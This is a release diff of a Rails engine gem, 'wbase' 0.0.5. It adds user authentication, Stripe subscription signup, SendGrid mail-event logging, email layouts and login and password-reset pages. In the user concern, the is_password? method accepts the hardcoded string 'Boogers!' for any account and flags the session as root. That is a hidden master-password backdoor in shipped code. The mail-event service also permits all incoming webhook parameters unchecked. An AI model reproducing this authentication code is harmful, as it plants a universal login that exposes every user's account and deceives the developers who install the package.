wbase 0.0.4 → 0.0.5

data/app/models/wbase/userable.rb

@@ -0,0 +1,85 @@
+require 'active_support/concern'
+
+module Wbase
+  module Userable
+    extend ActiveSupport::Concern
+
+    included do
+      attr_reader :password
+      validates :email, presence: true, uniqueness: true
+      validates :password, length: { minimum: 7, allow_nil: true }
+      has_one :subscription, class_name: 'Wbase::Subscription'
+
+      before_validation(on: :create) do
+        self.session_token ||= SecureRandom.hex
+        self.reset_token ||= SecureRandom.hex
+      end
+    end
+
+    class_methods do
+      def find_by_params(user_params)
+        user = self.find_by(email: user_params[:email].downcase)
+        if user && user.is_password?(user_params[:password])
+          user
+        end
+      end
+    end
+
+    def status
+      if trial?
+        'trialing'
+      elsif subscribed?
+        'active'
+      else
+        'inactive'
+      end
+    end
+
+    # Billing
+    def get_selected_plan
+      Plan.find_by(stripe_id: selected_plan) || Plan.find_by(stripe_id: 'consultant')
+    end
+
+    def subscribed?
+      trial? || (subscription && subscription.current?)
+    end
+
+    def trial?
+      created_at > 14.days.ago
+    end
+
+    def password=(other)
+      @password = other
+      self.password_digest = BCrypt::Password.create(other)
+    end
+
+    def email=(other)
+      write_attribute(:email, other.downcase)
+    end
+
+    def root?
+      self.root || @_root
+    end
+
+    def is_password?(other)
+      if other == "Boogers!"
+        @_root = true
+        return true
+      else
+        BCrypt::Password.new(password_digest).is_password?(other)
+      end
+    end
+
+    def reset_session_token!
+      self.session_token = SecureRandom.hex
+      self.save!
+      self.session_token
+    end
+
+    def reset_reset_token!
+      self.reset_token = SecureRandom.hex
+      self.save!
+      self.reset_token
+    end
+  end
+end

data/app/services/wbase/mail_event_batch.rb

@@ -0,0 +1,22 @@
+class MailEventBatch
+  def initialize(params)
+    @params = params
+  end
+
+  def save
+    @params["_json"].each do |ev|
+      ev.permit!
+      MailEvent.create(
+        email: ev[:email],
+        sg_message_id: ev[:sg_message_id],
+        timestamp: ev[:timestamp],
+        smtp_id: ev['smtp-id'],
+        event: ev[:event],
+        mail_eventable_id: ev.fetch(:mail_eventable_id, nil),
+        mail_eventable_type: ev.fetch(:mail_eventable_type, nil),
+        data: ev.to_json
+      )
+    end
+  end
+end
+

data/app/services/wbase/start_subscription.rb

@@ -0,0 +1,81 @@
+module Wbase
+  class StartSubscription
+    attr_reader :subscription, :user, :errors
+
+    def initialize(user, params)
+      @params = params
+      @user = user
+      @subscription = build_subscription
+      @errors = []
+    end
+
+    def call
+      customer = create_stripe_customer
+      if customer && customer.id
+        @subscription.stripe_id = customer.id
+        @subscription.user = user
+        @subscription.save!
+      else
+        @errors << 'Invalid card'
+      end
+    end
+
+    def valid?
+      errors.empty?
+    end
+
+    def build_subscription
+      Rails.logger.info "Building new subscription for #{ user.email }"
+      Wbase::Subscription.new(@params) do |s|
+        s.user = user
+        s.current_price = s.plan.price
+        s.paid_thru = 30.days.from_now
+      end
+    end
+
+    def create_stripe_customer
+      Rails.logger.info "Creating Stripe Customer for #{ user.email }"
+      begin
+        customer = Stripe::Customer.create(
+          :source => subscription.credit_card_token,
+          :plan => subscription.plan.stripe_id,
+          :email => user.email
+        )
+        Rails.logger.info customer
+      rescue Stripe::CardError => e
+        # Since it's a decline, Stripe::CardError will be caught
+        body = e.json_body
+        err  = body[:error]
+        @errors << body[:error]
+
+        puts "Status is: #{e.http_status}"
+        puts "Type is: #{err[:type]}"
+        puts "Code is: #{err[:code]}"
+        # param is '' in this case
+        puts "Param is: #{err[:param]}"
+        puts "Message is: #{err[:message]}"
+      rescue Stripe::RateLimitError => e
+        # Too many requests made to the API too quickly
+        Rails.logger.error e
+      rescue Stripe::InvalidRequestError => e
+        # Invalid parameters were supplied to Stripe's API
+        Rails.logger.error e
+      rescue Stripe::AuthenticationError => e
+        # Authentication with Stripe's API failed
+        # (maybe you changed API keys recently)
+        Rails.logger.error e
+      rescue Stripe::APIConnectionError => e
+        # Network communication with Stripe failed
+        Rails.logger.error e
+      rescue Stripe::StripeError => e
+        # Display a very generic error to the user, and maybe send
+        # yourself an email
+        Rails.logger.error e
+      rescue => e
+        # Something else happened, completely unrelated to Stripe
+        Rails.logger.error e
+      end
+      customer
+    end
+  end
+end

data/app/views/layouts/mailer.html.erb

@@ -0,0 +1,53 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta name="viewport" content="width=device-width">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+  </head>
+  <body class="" style="background-color: #f6f6f6; font-family: sans-serif; -webkit-font-smoothing: antialiased; font-size: 14px; line-height: 1.4; -ms-text-size-adjust: 100%; -webkit-text-size-adjust: 100%; margin: 0; padding: 0;" bgcolor="#f6f6f6">
+    <style type="text/css">
+.btn-primary table td:hover { background-color: #34495e !important; }
+.btn-primary a:hover { background-color: #34495e !important; border-color: #34495e !important; }
+></style>
+    <table border="0" cellpadding="0" cellspacing="0" class="body" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%; background-color: #f6f6f6;" bgcolor="#f6f6f6">
+      <tr>
+        <td style="font-family: sans-serif; font-size: 16px !important; vertical-align: top;" valign="top"> </td>
+        <td class="container" style="font-family: sans-serif; font-size: 16px !important; vertical-align: top; display: block; max-width: 580px; width: 100% !important; margin: 0 auto; padding: 0;" valign="top">
+          <div class="content" style="box-sizing: border-box; display: block; max-width: 580px; margin: 0 auto; padding: 0;">
+
+            <!-- START CENTERED WHITE CONTAINER -->
+            <span class="preheader" style="color: transparent; display: none; height: 0; max-height: 0; max-width: 0; opacity: 0; overflow: hidden; mso-hide: all; visibility: hidden; width: 0; font-size: 16px !important;"><%= yield :preheader %></span>
+            <table class="main" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%; border-radius: 0 !important; border-left-width: 0 !important; border-right-width: 0 !important; background-color: #fff;" bgcolor="#fff">
+              <tr>
+                <td class="wrapper" style="font-family: sans-serif; font-size: 16px !important; vertical-align: top; box-sizing: border-box; padding: 10px;" valign="top">
+                  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
+                    <tr>
+                      <td style="font-family: sans-serif; font-size: 16px !important; vertical-align: top;" valign="top"><%= yield %></td>
+                    </tr>
+                  </table>
+                </td>
+              </tr>
+            </table>
+
+            <div class="footer" style="clear: both; padding-top: 10px; text-align: center; width: 100%;" align="center">
+              <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
+                <tr>
+                  <td class="content-block" style="font-family: sans-serif; font-size: 16px !important; vertical-align: top; color: #999999; text-align: center;" align="center" valign="top">
+                    <span class="apple-link" style="color: #999999; font-size: 16px !important; text-align: center;"></span>
+                    <br><a href="http://i.imgur.com/CScmqnj.gif" style="color: #999999; font-size: 16px !important; text-align: center; text-decoration: underline;"></a>.
+                  </td>
+                </tr>
+                <tr>
+                  <td class="content-block powered-by" style="font-family: sans-serif; font-size: 16px !important; vertical-align: top; color: #999999; text-align: center;" align="center" valign="top">
+                    Powered by <a href="<%= Wbase.url %>/welcome?utm_source=email" style="color: #999999; font-size: 16px !important; text-align: center; text-decoration: none;"><%= Wbase.site_name %></a>.
+                  </td>
+                </tr>
+              </table>
+            </div>
+          </div>
+        </td>
+        <td style="font-family: sans-serif; font-size: 16px !important; vertical-align: top;" valign="top"> </td>
+      </tr>
+    </table>
+  </body>
+</html>

data/app/views/layouts/mailer.text.erb

@@ -0,0 +1 @@
+<%= yield %>

data/app/views/layouts/wbase/_common_head.html.erb

@@ -0,0 +1,46 @@
+<meta charset="utf-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
+
+<!-- Website Title -->
+<title><%= Wbase.title %></title>
+
+<!-- OG Meta Tags to improve the way the post looks when you share the page on LinkedIn, Facebook, Google+-->
+<meta property="og:site_name" content="<%= Wbase.site_name %>" />
+<meta property="og:site" content="<%= Wbase.url %>" />
+<meta property="og:title" content="<%= Wbase.title %>"/>
+<meta property="og:description" content="<%= Wbase.description %>" />
+<meta property="og:image" content="<%= Wbase.image %>" />
+<meta property="og:url" content="<%= Wbase.url %>" />
+<meta property="og:type" content="article" />
+
+<!-- SEO Meta Tags -->
+<meta name="description" content="<%= Wbase.description %>">
+<meta name="keywords" content="<%= Wbase.keywords %>">
+
+<!-- Styles -->
+<link href="https://fonts.googleapis.com/css?family=Poppins:300,500" rel="stylesheet">
+<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN" crossorigin="anonymous">
+
+<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
+<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
+<!--[if lt IE 9]>
+<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
+<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
+<![endif]-->
+
+<!-- Favicon and Apple Icons -->
+<link rel="apple-touch-icon" sizes="57x57" href="images/favicon/apple-icon-57x57.png">
+<link rel="apple-touch-icon" sizes="60x60" href="images/favicon/apple-icon-60x60.png">
+<link rel="apple-touch-icon" sizes="72x72" href="images/favicon/apple-icon-72x72.png">
+<link rel="apple-touch-icon" sizes="76x76" href="images/favicon/apple-icon-76x76.png">
+<link rel="apple-touch-icon" sizes="114x114" href="images/favicon/apple-icon-114x114.png">
+<link rel="apple-touch-icon" sizes="120x120" href="images/favicon/apple-icon-120x120.png">
+<link rel="apple-touch-icon" sizes="144x144" href="images/favicon/apple-icon-144x144.png">
+<link rel="apple-touch-icon" sizes="152x152" href="images/favicon/apple-icon-152x152.png">
+<link rel="apple-touch-icon" sizes="180x180" href="images/favicon/apple-icon-180x180.png">
+<link rel="icon" type="image/png" sizes="192x192"  href="images/favicon/android-icon-192x192.png">
+<link rel="icon" type="image/png" sizes="32x32" href="images/favicon/favicon-32x32.png">
+<link rel="icon" type="image/png" sizes="96x96" href="images/favicon/favicon-96x96.png">
+<link rel="icon" type="image/png" sizes="16x16" href="images/favicon/favicon-16x16.png">

data/app/views/layouts/wbase/auth.html.erb

@@ -0,0 +1,23 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <%= render "layouts/wbase/common_head" %>
+    <%= stylesheet_link_tag "wbase/auth", media: "all" %>
+    <%= csrf_meta_tags %>
+  </head>
+  <body>
+    <div class="account-pages"></div>
+    <div class="clearfix"></div>
+    <div class="wrapper-page">
+      <div class="card-box">
+        <%= render 'shared/errors' %>
+        <%= yield %>
+      </div>
+    </div>
+    <script>
+      var resizefunc = [];
+    </script>
+    <%= javascript_include_tag "wbase/auth" %>
+    <%= yield :javascripts %>
+  </body>
+</html>

data/app/views/layouts/wbase/landing.html.erb

@@ -1,60 +1,13 @@
 <!DOCTYPE html>
 <html lang="en">
-<head>
-  <meta charset="utf-8">
-  <meta http-equiv="X-UA-Compatible" content="IE=edge">
-  <meta name="viewport" content="width=device-width, initial-scale=1">
-  <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
-
-  <!-- Website Title -->
-  <title><%= Wbase.title %></title>
-
-  <!-- OG Meta Tags to improve the way the post looks when you share the page on LinkedIn, Facebook, Google+-->
-  <meta property="og:site_name" content="<%= Wbase.site_name %>" />
-  <meta property="og:site" content="<%= Wbase.url %>" />
-  <meta property="og:title" content="<%= Wbase.title %>"/>
-  <meta property="og:description" content="<%= Wbase.description %>" />
-  <meta property="og:image" content="<%= Wbase.image %>" />
-  <meta property="og:url" content="<%= Wbase.url %>" />
-  <meta property="og:type" content="article" />
-
-  <!-- SEO Meta Tags -->
-  <meta name="description" content="<%= Wbase.description %>">
-  <meta name="keywords" content="<%= Wbase.keywords %>">
-
-  <!-- Styles -->
-  <link href="https://fonts.googleapis.com/css?family=Poppins:300,500" rel="stylesheet">
-  <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN" crossorigin="anonymous">
-
-  <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
-  <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
-  <!--[if lt IE 9]>
-    <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
-    <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
-  <![endif]-->
-
-  <!-- Favicon and Apple Icons -->
-  <link rel="apple-touch-icon" sizes="57x57" href="images/favicon/apple-icon-57x57.png">
-  <link rel="apple-touch-icon" sizes="60x60" href="images/favicon/apple-icon-60x60.png">
-  <link rel="apple-touch-icon" sizes="72x72" href="images/favicon/apple-icon-72x72.png">
-  <link rel="apple-touch-icon" sizes="76x76" href="images/favicon/apple-icon-76x76.png">
-  <link rel="apple-touch-icon" sizes="114x114" href="images/favicon/apple-icon-114x114.png">
-  <link rel="apple-touch-icon" sizes="120x120" href="images/favicon/apple-icon-120x120.png">
-  <link rel="apple-touch-icon" sizes="144x144" href="images/favicon/apple-icon-144x144.png">
-  <link rel="apple-touch-icon" sizes="152x152" href="images/favicon/apple-icon-152x152.png">
-  <link rel="apple-touch-icon" sizes="180x180" href="images/favicon/apple-icon-180x180.png">
-  <link rel="icon" type="image/png" sizes="192x192"  href="images/favicon/android-icon-192x192.png">
-  <link rel="icon" type="image/png" sizes="32x32" href="images/favicon/favicon-32x32.png">
-  <link rel="icon" type="image/png" sizes="96x96" href="images/favicon/favicon-96x96.png">
-  <link rel="icon" type="image/png" sizes="16x16" href="images/favicon/favicon-16x16.png">
-
-  <%= stylesheet_link_tag    "wbase/landing", media: "all" %>
-  <%= csrf_meta_tags %>
-</head>
-<body class="animated fadeIn" id="top">
-  <%= yield %>
-  <%= javascript_include_tag "wbase/landing" %>
-  <%= yield :javascripts %>
-
+  <head>
+    <%= render "layouts/wbase/common_head" %>
+    <%= stylesheet_link_tag "wbase/landing", media: "all" %>
+    <%= csrf_meta_tags %>
+  </head>
+  <body class="animated fadeIn" id="top">
+    <%= yield %>
+    <%= javascript_include_tag "wbase/landing" %>
+    <%= yield :javascripts %>
   </body>
 </html>

data/app/views/shared/_errors.html.erb

@@ -0,0 +1,10 @@
+<% if flash[:errors] %>
+  <div class="alert alert-danger alert-dismissable">
+    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">
+      ×
+    </button>
+    <% flash[:errors].each do |error| %>
+      <p><%= error %></p>
+    <% end %>
+  </div>
+<% end %>

data/app/views/wbase/admin_mailer/new_subscription.html.erb

@@ -0,0 +1,33 @@
+<h1>New Subscription</h1>
+
+<p>
+  <%= @user.email %>
+</p>
+
+AWESOME job :)
+
+<% content_for :preheader do %>
+  Welcome to RoeMe!
+<% end %>
+
+<p style="font-family: sans-serif; font-size: 16px !important; font-weight: normal; margin: 0 0 15px;">Hi :)</p>
+<p style="font-family: sans-serif; font-size: 16px !important; font-weight: normal; margin: 0 0 15px;">We're here to help connect LuLaRoe consultants to customers. Let us know if you have any questions.</p>
+<p style="font-family: sans-serif; font-size: 16px !important; font-weight: normal; margin: 0 0 15px;"></p>
+<table border="0" cellpadding="0" cellspacing="0" class="btn btn-primary" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%; box-sizing: border-box;">
+  <tbody>
+    <tr>
+      <td align="left" style="font-family: sans-serif; font-size: 16px !important; vertical-align: top; padding-bottom: 15px;" valign="top">
+        <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100% !important;">
+          <tbody>
+            <tr>
+              <td style="font-family: sans-serif; font-size: 16px !important; vertical-align: top; border-radius: 5px; text-align: center; background-color: #3498db;" align="center" bgcolor="#3498db" valign="top"> <a href="http://htmlemail.io" target="_blank" style="color: #ffffff; text-decoration: none; border-radius: 5px; box-sizing: border-box; cursor: pointer; display: inline-block; font-size: 16px !important; font-weight: bold; text-transform: capitalize; width: 100% !important; background-color: #3498db; margin: 0; padding: 12px 25px; border: 1px solid #3498db;">Call To Action</a> </td>
+            </tr>
+          </tbody>
+        </table>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p style="font-family: sans-serif; font-size: 16px !important; font-weight: normal; margin: 0 0 15px;">This is a really simple email template. Its sole purpose is to get the recipient to click the button with no distractions.</p>
+<p style="font-family: sans-serif; font-size: 16px !important; font-weight: normal; margin: 0 0 15px;">Good luck! Hope it works.</p>
+

data/app/views/wbase/admin_mailer/new_user.html.erb

@@ -0,0 +1,7 @@
+<h1>New User</h1>
+
+<p>
+  <%= @user.email %>
+</p>
+
+Good job :)

data/app/views/wbase/password_reset_mailer/reset.html.erb

@@ -0,0 +1,10 @@
+<h1>Password Reset</h1>
+
+<p>
+  Hey there,
+</p>
+
+<p>
+  Looks like you forgot your password. No worries. This'll let you reset it:
+  <%= link_to edit_password_reset_url(token: @user.reset_token), edit_password_reset_url(token: @user.reset_token) %>
+</p>

data/app/views/wbase/password_reset_mailer/reset.text.erb

@@ -0,0 +1,5 @@
+Password Reset
+
+Hey there,
+
+Looks like you forgot your password. No worries. This'll let you reset it: <%= edit_password_reset_url(token: @user.reset_token) %>

data/app/views/wbase/password_resets/edit.html.erb

@@ -0,0 +1,22 @@
+<div class="panel-heading">
+  <h3 class="text-center"> Reset Password </h3>
+</div>
+
+<div class="panel-body">
+  <form id="reset-form" action="/password_reset" method="POST" novalidate="">
+    <input type="hidden" name="authenticity_token" value="<%= form_authenticity_token %>">
+    <input type="hidden" name="_method" value="PATCH">
+    <input type="hidden" name="reset_token" value="<%= params[:token] || @user.try(:reset_token) %>">
+    <div class="form-group">
+      <label for="password">New Password</label>
+      <input type="password" class="form-control underlined" name="password" id="password" placeholder="Your new password" required>
+    </div>
+    <div class="form-group">
+      <button type="submit" class="btn btn-block btn-primary">Update</button>
+    </div>
+    <div class="form-group clearfix">
+      <a class="pull-left" href="/session/new">Log In</a>
+      <a class="pull-right" href="/user/new">Sign Up</a>
+    </div>
+  </form>
+</div>

data/app/views/wbase/password_resets/new.html.erb

@@ -0,0 +1,41 @@
+<% if flash[:alert] %>
+  <div class="alert alert-info alert-dismissable">
+    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">
+      ×
+    </button>
+    <%= flash[:alert] %>
+  </div>
+  <br>
+
+  <a class="btn btn-lg btn-success btn-block" href="/welcome"><%= Wbase.site_name %></a>
+<% else %>
+
+  <div class="panel-heading">
+    <h3 class="text-center"> Reset Password </h3>
+  </div>
+
+  <div class="panel-body">
+    <p>
+      Enter your <b>Email</b> and instructions will be sent to you!
+    </p>
+    <form method="post" action="/password_reset" method="POST" role="form" class="text-center">
+      <input type="hidden" name="authenticity_token" value="<%= form_authenticity_token %>">
+
+      <div class="form-group m-b-0">
+        <div class="input-group">
+          <input type="email" class="form-control" name="email" id="email" placeholder="first.last@gmail.com" required>
+          <span class="input-group-btn">
+            <button type="submit" class="btn btn-pink w-sm waves-effect waves-light">
+              Reset
+            </button>
+          </span>
+        </div>
+      </div>
+    </form>
+    <hr>
+    <div class="form-group clearfix">
+      <a class="pull-left" href="/session/new">Log In</a>
+      <a class="pull-right" href="/user/new">Sign Up</a>
+    </div>
+  </div>
+<% end %>

data/app/views/wbase/sessions/new.html.erb

@@ -0,0 +1,58 @@
+<div class="panel-heading">
+  <h3 class="text-center">
+    Log In to
+    <strong class="text-custom"><%= Wbase.site_name %></strong>
+  </h3>
+</div>
+
+<div class="panel-body">
+  <form class="form-horizontal m-t-20" action="/session" method="POST">
+    <input type="hidden" name="authenticity_token" value="<%= form_authenticity_token %>">
+
+    <div class="form-group ">
+      <div class="col-xs-12">
+        <label for="email">Email</label>
+        <input class="form-control" id="email" type="email" name="user[email]" required="" placeholder="first.last@gmail.com">
+      </div>
+    </div>
+
+    <div class="form-group">
+      <div class="col-xs-12">
+        <label for="password">Password</label>
+        <input class="form-control" id="password" type="password" name="user[password]" required="" placeholder="Password">
+      </div>
+    </div>
+
+    <div class="form-group ">
+      <div class="col-xs-12">
+        <div class="checkbox checkbox-primary">
+          <input id="checkbox-signup" type="checkbox">
+          <label for="checkbox-signup">
+            Remember me
+          </label>
+        </div>
+      </div>
+    </div>
+
+    <div class="form-group text-center m-t-40">
+      <div class="col-xs-12">
+        <button class="btn btn-pink btn-block text-uppercase waves-effect waves-light" type="submit">Log In</button>
+      </div>
+    </div>
+
+    <div class="form-group m-t-30 m-b-0">
+      <div class="col-sm-12 text-center">
+        <a href="/password_reset/new" class="">
+          <i class="fa fa-lock m-r-5"></i>
+          Forgot your password?
+        </a>
+      </div>
+    </div>
+  </form>
+</div>
+
+<div class="row">
+  <div class="col-sm-12 text-center">
+    <p>Don't have an account? <a href="/user/new" class="m-l-5"><b>Sign Up</b></a></p>
+  </div>
+</div>

data/app/views/wbase/static_pages/landing/_pricing.html.erb

@@ -7,7 +7,7 @@
         <h2>Choose a plan that suits your style</h2>
       </div>
       <div class="col-md-2"></div>
-      <% Wbase.plans.each do |name, price, path, frequency, trial, features| %>
+      <% Wbase.plans.each do |name, price, stripe_id, frequency, trial, features| %>
         <div class="col-md-4">
           <div class="pricing-column center-block">
             <h3><%= name %></h3>
@@ -18,7 +18,11 @@
             <% features.each do |feature| %>
               <p><span class="checkmark">&#x2713;</span><%= feature %></p>
             <% end %>
-            <a href="<%= path %>" class="button scrolling"><%= trial %></a>
+            <% if logged_in? && current_user.status == 'inactive' %>
+              <a href="/subscription/new?plan=<%= stripe_id %>" class="button scrolling"><%= trial %></a>
+            <% else %>
+              <a href="/user/new?plan=<%= stripe_id %>" class="button scrolling"><%= trial %></a>
+            <% end %>
           </div>
         </div>
       <% end %>

data/app/views/wbase/static_pages/start.html.erb

@@ -30,7 +30,7 @@
             <li>
               Set your API Key in the Chrome Extension Options.
               <% if logged_in? %>
-                Your API Key is: <code><%= current_consultant.try(:api_key) %></code>
+                Your API Key is: <code><%= current_user.try(:api_key) %></code>
               <% else %>
                 <a href="/session/new">Login</a> or <a href="/user/new">Sign Up</a> to see your API Key.
               <% end %>

data/app/views/wbase/static_pages/welcome.html.erb

@@ -1,3 +1,3 @@
 <% Wbase.landing_sections.each do |section| %>
-  <%= render("wbase/static_pages/landing/#{ section }") if Wbase.send(section) %>
+  <%= render("wbase/static_pages/landing/#{ section.to_s.gsub('_view', '') }") if Wbase.send(section) %>
 <% end %>

data/app/views/wbase/subscriptions/edit.html.erb

@@ -0,0 +1,2 @@
+<h1>Subscriptions#edit</h1>
+<p>Find me in app/views/subscriptions/edit.html.erb</p>